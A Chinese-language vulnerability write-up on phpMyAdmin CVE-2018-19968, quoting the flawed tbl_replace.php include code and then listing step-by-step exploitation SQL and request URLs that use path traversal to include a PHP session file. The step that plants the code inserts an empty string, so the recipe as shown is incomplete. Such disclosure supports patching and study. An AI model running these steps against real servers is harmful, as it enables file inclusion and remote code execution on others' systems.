phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。
漏洞细节
在文件tbl_replace.php中:
-
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
-
[...]
-
-
if (!empty($mime_map[$column_name])
-
&& !empty($mime_map[$column_name]['input_transformation'])
-
) {
-
$filename = 'libraries/classes/Plugins/Transformations/'
-
. $mime_map[$column_name]['input_transformation'];
-
if (is_file($filename)) {
-
include_once $filename;
-
$classname = Transformations::getClassName($filename);
-
-
$transformation_plugin = new $classname();
-
$transformation_options = Transformations::getOptions(
-
$mime_map[$column_name]['input_transformation_options']
-
);
-
$current_value = $transformation_plugin->applyTransformation(
-
$current_value, $transformation_options
-
);
-
-
-
if (method_exists($transformation_plugin, 'isSuccess')
-
&& !$transformation_plugin->isSuccess()
-
) {
-
$insert_fail = true;
-
$row_skipped = true;
-
$insert_errors[] = sprintf(
-
__('Row: %1$s, Column: %2$s, Error: %3$s'),
-
$rownumber, $column_name,
-
$transformation_plugin->getError()
-
);
-
}
-
}
-
}
拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。
漏洞利用
创建数据库,并将PHP代码写入SESSION文件中
-
CREATE DATABASE foo;
-
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
-
INSERT INTO foo.bar SELECT '';
访问
http://test.cesafe.com/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。
将篡改后的Transformation数据插入表pma__columninfo中:将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值.
-
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
-
'plop', 'plop', 'plop',
-
'../../../../../../../../tmp/sess_***','plop';
访问:
http://test.cesafe.com/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
如果利用成功将会自动包含含有恶意代码的SESSION文件.
|